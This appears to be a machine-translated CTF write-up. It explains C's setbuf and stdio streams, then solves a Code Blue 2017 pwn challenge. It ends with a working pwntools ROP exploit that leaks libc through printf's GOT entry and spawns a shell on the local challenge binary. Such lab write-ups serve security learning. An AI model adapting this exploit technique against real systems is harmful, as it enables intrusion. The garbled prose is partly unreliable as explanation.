Before setbuf, let's just say that stdin stdout stderr is a file stream in the stdio Library
Actually, you can tell what this is by name.
stdin is the standard input and the file identifier is 0
stdout is the standard output, and the file identifier is 1
stderr is the standard error output, and the file identifier is 2
It can be simply understood that stdin is an input stream, waiting for keyboard input, stdout is an output stream, and the default device for stdout and stderr is the screen.
Then I know about setbuf. Let's take a look at setbuf. Here we use a setbuf demo from Baidu Encyclopedia.
#include <stdio.h> char outbuf[BUFSIZ];//It must be BUFSIZ, otherwise there may be buffer overflow int main(void) { /* Connect outbuf to stdout output stream */ setbuf(stdout,outbuf); /* Put some strings into stdout */ puts("This is a test of buffered output.");//Reflect the line buffer property of stdout fprintf(stdout,"hello world."); puts("[*] outbuf"); /*Refresh stream*/ fflush(stdout); /* Here's what's in outbuf */ //puts("[*] outbuf"); puts(outbuf); return 0; }
Then at first I want to add a hint, even the line of [*], and then I find the following output before and after refreshing the stream
Find a feature. Put all our output into outbuf and
If the stream is refreshed and output is overwritten, the previous output is not recorded.
The same can be applied to other file identifiers
You can see that setbuf corresponds to the file stream and our buffer.
In fact, there is always this thing in the pwn question.
Then I found one. Know about Chuangyu 404 Laboratory. An article
Then record how to do such a topic.
The title seems to be a question on code blue 2017 ctf abroad
Then look at the protection of the title first.
Then take a look at it.
Notice the setbuf at this point,
Then look at the topic in detail.
And then there's a loophole here.
Here v3 is int, so we can run other functions through this vulnerability point. Here we use it to run setbuf functions.
Then we'll look at something else.
Here is a function with two parameters, one is the buf address and the other is the length.
Then the main function is
fread: Well, this allows input to bss, where you can construct two ROPS directly for use.
The idea is to make use of it.
First use the above vulnerability, then call setbuf(fd,buf1)
Then we can write buf1 directly through this function with fwrite(fd, 1u, buf, len), because the data here is on the stack.
So you can overflow the stack directly. Then the stack transfers a shuttle.
#! /usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # context.log_level = "debug" gadget1 = 0x08048dab # pop ebp ; ret gadget2 = 0x080485f8 # leave ; ret gadget3 = 0x08048495 # pop ebx ; ret gadget4 = 0x08048daa # pop edi ; pop ebp ; ret gadget5 = 0x08048da9 # pop esi ; pop edi ; pop ebp ; ret one_gadget_sh = 0x56ff5 read_buf = 0x080486D9 stdin_bss = 0x804B060 bss_buf = 0x804b700 io = process("./pwn") elf = ELF("./pwn") libc = elf.libc def add(contents): io.readuntil("> ") io.sendline("1") io.readuntil("contents: ") io.sendline(contents) def edit(index, offset): io.readuntil("> ") io.sendline("3") io.readuntil("ID (0-4): ") io.sendline(str(index)) io.readuntil("> ") io.sendline(str(offset)) def quit(): io.readuntil("> ") io.sendline("4") if __name__ =="__main__": rop1 = 'a'*0xd rop1 += p32(elf.plt['printf'])+p32(gadget3)+p32(elf.got['printf']) rop1 += p32(read_buf) + p32(gadget4) + p32(bss_buf) + p32(0x100) # fread(buf, 1, 0x100, stdin) rop1 += p32(gadget1) + p32(bss_buf) + p32(gadget2) + p32(bss_buf) add(rop1) add('a'*255) add('b'*255) add('c'*255) add('d'*255) edit(4,-15) edit(1,0) edit(0,0) #gdb.attach(io) #pause() quit() io.readuntil(":)\n") printf_got = u32(io.read(4)) log.success("printf_got "+hex(printf_got)) # print hex(printf_got) system_libc = libc.symbols["system"] printf_libc = libc.symbols["printf"] binsh_libc = libc.search("/bin/sh").next() system_add = printf_got - printf_libc + system_libc binsh_add = printf_got - printf_libc + binsh_libc rop2 = "aaaa" + p32(system_add) + p32(binsh_add) + p32(binsh_add) io.sendline(rop2) io.interactive()
Reference link